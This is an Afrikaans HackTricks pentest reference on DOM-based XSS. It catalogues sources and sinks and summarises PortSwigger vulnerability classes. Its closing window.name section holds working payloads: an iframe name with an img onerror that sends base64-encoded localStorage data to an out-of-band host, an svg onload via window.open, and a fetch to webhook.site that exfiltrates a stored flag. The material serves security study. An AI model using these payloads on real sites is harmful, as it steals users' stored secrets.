DOM XSS

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Kyk na die subskripsie planne!

Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

DOM Kwesbaarhede

DOM kwesbaarhede ontstaan wanneer data vanaf aanvaller-beheerde sources (soos location.search, document.referrer, of document.cookie) onveilig oorgedra word na sinks. Sinks is funksies of voorwerpe (bv. eval(), document.body.innerHTML) wat skadelike inhoud kan uitvoer of weergee as hulle kwaadwillige data ontvang.

Sources is invoer wat deur aanvallers gemanipuleer kan word, insluitend URLs, cookies, en webboodskappe.
Sinks is potensieel gevaarlike eindpunte waar kwaadwillige data nadelige gevolge kan hê, soos skripuitvoering.

Die risiko ontstaan wanneer data van ’n source na ’n sink vloei sonder behoorlike validering of sanitasie, wat aanvalle soos XSS moontlik maak.

Tip

Jy kan ’n meer bygewerkte lys van sources en sinks vind by https://github.com/wisec/domxsswiki/wiki

Gereelde sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open Redirect	Javascript Injection	DOM-data manipulation	jQuery
`location`	`eval()`	`scriptElement.src`	`add()`
`location.host`	`Function() constructor`	`scriptElement.text`	`after()`
`location.hostname`	`setTimeout()`	`scriptElement.textContent`	`append()`
`location.href`	`setInterval()`	`scriptElement.innerText`	`animate()`
`location.pathname`	`setImmediate()`	`someDOMElement.setAttribute()`	`insertAfter()`
`location.search`	`execCommand()`	`someDOMElement.search`	`insertBefore()`
`location.protocol`	`execScript()`	`someDOMElement.text`	`before()`
`location.assign()`	`msSetImmediate()`	`someDOMElement.textContent`	`html()`
`location.replace()`	`range.createContextualFragment()`	`someDOMElement.innerText`	`prepend()`
`open()`	`crypto.generateCRMFRequest()`	`someDOMElement.outerText`	`replaceAll()`
`domElem.srcdoc`	``Local file-path manipulation	`someDOMElement.value`	`replaceWith()`
`XMLHttpRequest.open()`	`FileReader.readAsArrayBuffer()`	`someDOMElement.name`	`wrap()`
`XMLHttpRequest.send()`	`FileReader.readAsBinaryString()`	`someDOMElement.target`	`wrapInner()`
`jQuery.ajax()`	`FileReader.readAsDataURL()`	`someDOMElement.method`	`wrapAll()`
`$.ajax()`	`FileReader.readAsText()`	`someDOMElement.type`	`has()`
``Ajax request manipulation	`FileReader.readAsFile()`	`someDOMElement.backgroundImage`	`constructor()`
`XMLHttpRequest.setRequestHeader()`	`FileReader.root.getFile()`	`someDOMElement.cssText`	`init()`
`XMLHttpRequest.open()`	`FileReader.root.getFile()`	`someDOMElement.codebase`	`index()`
`XMLHttpRequest.send()`	Link manipulation	`someDOMElement.innerHTML`	`jQuery.parseHTML()`
`jQuery.globalEval()`	`someDOMElement.href`	`someDOMElement.outerHTML`	`$.parseHTML()`
`$.globalEval()`	`someDOMElement.src`	`someDOMElement.insertAdjacentHTML`	Client-side JSON injection
``HTML5-storage manipulation	`someDOMElement.action`	`someDOMElement.onevent`	`JSON.parse()`
`sessionStorage.setItem()`	XPath injection	`document.write()`	`jQuery.parseJSON()`
`localStorage.setItem()`	`document.evaluate()`	`document.writeln()`	`$.parseJSON()`
[`Denial of Service`](dom-xss.md#denial-of-service)	`someDOMElement.evaluate()`	`document.title`	``Cookie manipulation
`requestFileSystem()`	``Document-domain manipulation	`document.implementation.createHTMLDocument()`	`document.cookie`
`RegExp()`	`document.domain`	`history.pushState()`	WebSocket-URL poisoning
Client-Side SQl injection	Web-message manipulation	`history.replaceState()`	`WebSocket`
`executeSql()`	`postMessage()`	``	``

Die innerHTML sink aanvaar nie script-elemente in enige moderne blaaier nie, en svg onload-events sal ook nie afgevuur word nie. Dit beteken dat jy alternatiewe elemente soos img of iframe moet gebruik.

Hierdie tipe XSS is waarskynlik die moeilikste om te vind, aangesien jy in die JS-kode moet kyk, bepaal of dit enige objek gebruik waarvan jy die waarde beheer, en in daardie geval kyk of daar enige manier is om dit te misbruik om arbitraire JS uit te voer.

Gereedskap om dit te vind

https://github.com/mozilla/eslint-plugin-no-unsanitized
Blaaier-uitbreiding om elke data wat ’n potensiële sink bereik, te kontroleer: https://github.com/kevin-mizu/domloggerpp

Voorbeelde

Open Redirect

Van: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM gebeur wanneer ’n script data skryf, wat ’n aanvaller kan beheer, in ’n sink wat navigasie oor domeine kan inisieer.

Dit is belangrik om te verstaan dat die uitvoering van arbitraire kode, soos javascript:alert(1), moontlik is as jy beheer oor die begin van die URL het waar die herleiding plaasvind.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulation vulnerabilities ontstaan wanneer ’n script data, wat deur ’n aanvaller beheer kan word, in die waarde van ’n cookie opneem. Hierdie kwesbaarheid kan lei tot onverwagte gedrag van die webblad indien die cookie binne die webwerf gebruik word. Boonop kan dit uitgebuit word om ’n session fixation-aanval uit te voer indien die cookie betrokke is by die opsporing van gebruikersessies. Die primêre sink wat met hierdie kwesbaarheid geassosieer word, is:

Sinks:

document.cookie

JavaScript Injection

Van: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection vulnerabilities ontstaan wanneer ’n script data uitvoer wat deur ’n attacker beheer kan word as JavaScript code.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

Van: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities kom voor wanneer ’n script die document.domain eienskap stel deur data te gebruik wat ’n aanvaller kan beheer.

Die document.domain eienskap speel ’n sleutelrol in die afdwinging van die same-origin policy deur blaaiers. Wanneer twee bladsye van verskillende oorspronge hulle document.domain op die dieselfde waarde stel, kan hulle sonder beperkings met mekaar kommunikeer. Alhoewel blaaiers sekere beperkings opleg op die waardes wat aan document.domain toegeken kan word, wat die toekenning van heeltemal onsamehangende waardes met die werklike bladsy-oorsprong voorkom, bestaan daar uitsonderings. Gewoonlik laat blaaiers die gebruik van subdomeine of ouerdomeine toe.

Sinks:

document.domain

WebSocket-URL poisoning

Van: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning gebeur wanneer ’n skrip controllable data as the target URL gebruik vir ’n WebSocket-verbinding.

Sinks:

Die WebSocket constructor kan lei tot WebSocket-URL poisoning vulnerabilities.

Link manipulation

Van: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities ontstaan wanneer ’n skrip attacker-controllable data to a navigation target binne die huidige bladsy skryf, soos ’n klikbare skakel of die submission URL van ’n vorm.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities ontstaan wanneer ’n script attacker-controllable data into an Ajax request skryf wat gestuur word met ’n XmlHttpRequest-objek.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities ontstaan wanneer ’n skrip deur die aanvaller beheerbare data aan ’n lêerhanterings-API as die filename parameter deurgee. Hierdie kwesbaarheid kan deur ’n aanvaller uitgebuit word om ’n URL saam te stel wat, indien deur ’n ander gebruiker besoek, kan veroorsaak dat die gebruiker se blaaier ’n arbitraire plaaslike lêer oopmaak of skryf.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities kom voor wanneer ’n skrip attacker-controllable data into a client-side SQL query in an unsafe way.

Sinks:

executeSql()

HTML5-storage manipulation

Van: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities ontstaan wanneer ’n skrip stoor aanvaller-beheerde data in die webblaaier se HTML5 storage (localStorage of sessionStorage). Alhoewel hierdie optrede op sigself nie noodwendig ’n sekuriteitskwessie is nie, word dit problematies as die toepassing daarna die gestoorde data lees en dit onveilig verwerk. Dit kan ’n aanvaller toelaat om die stoormeganisme te benut om ander DOM-based attacks uit te voer, soos cross-site scripting en JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

Van: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities kom voor wanneer ’n skrip attacker-controllable data into an XPath query inkorporeer.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

Van: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities kom voor wanneer ’n skrip attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application inkorporeer.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-boodskapmanipulasie

Bron: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-boodskap-kwesbaarhede ontstaan wanneer ’n script deur ’n aanvaller beheerbare data as ’n webboodskap na ’n ander dokument binne die blaaier stuur. ’n Voorbeeld van kwesbare Web-boodskapmanipulasie is te vind by PortSwigger’s Web Security Academy.

Sinks:

Die postMessage()-metode om webboodskappe te stuur kan tot kwesbaarhede lei as die event listener vir die ontvangs van boodskappe die inkomende data op ’n onveilige manier hanteer.

DOM-data-manipulasie

Bron: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data-manipulasie-kwesbaarhede ontstaan wanneer ’n script deur ’n aanvaller beheerde data na ’n veld binne die DOM skryf wat in die sigbare UI of client-side logika gebruik word. Hierdie kwesbaarheid kan deur ’n aanvaller uitgebuit word om ’n URL saam te stel wat, as dit deur ’n ander gebruiker besoek word, die voorkoms of gedrag van die client-side UI kan verander.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

From: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities kom voor wanneer ’n script attacker-controllable data unsafely to a problematic platform API. Dit sluit APIs in wat, wanneer dit aangeroep word, die gebruiker se rekenaar kan laat verbruik excessive amounts of CPU or disk space. Sulke kwesbaarhede kan beduidende newe-effekte hê, soos dat die blaaier die webwerf se funksionaliteit beperk deur pogings om data in localStorage te stoor te weier of besige skripte te beëindig.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Implisiete globale & `window.name` misbruik

Wanneer name sonder ’n deklarasie (var/let/const) geraadpleeg word, wys dit na window.name. Omdat window.name oor cross-origin navigations behou bly, kan ’n aanvaller ’n browsing context name vooraf met HTML/JS voorsien en later die slagoffer se kode dit as betroubare data laat weergee:

Open/navigeer die teiken in ’n benoemde konteks wat jy beheer:

<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>

Of hergebruik window.open met ’n vervaardigde teikennaam:

window.open('https://target/page', "<svg/onload=alert(document.domain)>")

As die toepassing later element.innerHTML = name (of ’n soortgelyke sink) sonder sanitization uitvoer, sal die aanvaller-gekontroleerde window.name string in die teiken-origin uitgevoer word, wat DOM XSS en toegang tot same-origin storage moontlik maak.

Outomatiseringsbots (bv. Playwright) besoek dikwels eers ’n interne bladsy, stel geheime in localStorage/cookies, en navigeer dan na deur gebruikers verskafde URLs. Enige DOM XSS primitive (insluitend window.name misbruik) in daardie vloei kan die voorafgesette geheim eksfiltreer:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

As die bot nie skemas beperk nie, sal die verskaffing van ’n javascript: URL (javascript:fetch(...)) in die huidige origin uitgevoer word sonder nuwe navigasie en direk storage values leak.

References

Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Kyk na die subskripsie planne!

Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.